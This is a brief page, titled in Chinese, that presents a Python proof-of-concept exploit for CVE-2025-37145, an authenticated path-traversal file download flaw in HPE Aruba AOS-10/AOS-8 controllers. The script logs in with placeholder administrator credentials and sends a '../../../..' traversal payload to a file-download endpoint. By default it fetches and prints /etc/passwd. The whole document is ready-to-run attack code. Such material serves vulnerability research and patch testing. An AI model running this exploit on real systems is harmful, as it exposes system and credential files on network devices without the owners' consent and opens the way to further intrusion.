CVE-2025-37145 HPE Aruba AOS-10/AOS-8 任意文件下载漏洞

# CVE-2025-37145 PoC - HPE Aruba AOS-10/AOS-8 Arbitrary File Download # Note: Requires valid high-privilege credentials (e.g., administrator account) # Tested on AOS-10 GW and AOS-8 Controller/Mobility Conductor import requests import sys TARGET = "https://target-aruba-controller.example.com" USERNAME = "admin" PASSWORD = "password123" def exploit(target, file_path): """ Exploit arbitrary file download via path traversal in low-level interface library. The vulnerability exists in the file download endpoint which fails to sanitize user-supplied file paths, allowing traversal outside the intended directory. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{target}/screens/wms/wms.login" login_data = { "username": USERNAME, "password": PASSWORD, } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return None print("[*] Authenticated successfully") # Step 2: Exploit path traversal in file download endpoint # The vulnerable parameter fails to sanitize '../' sequences download_url = f"{target}/screens/cmnutil/fileDownload" params = { "file": f"../../../..{file_path}", # path traversal payload } resp = session.get(download_url, params=params, verify=False) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] File downloaded successfully: {file_path}") return resp.content else: print(f"[-] Failed to download: {file_path}") return None if __name__ == "__main__": target_file = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd" content = exploit(TARGET, target_file) if content: print(content.decode("utf-8", errors="replace"))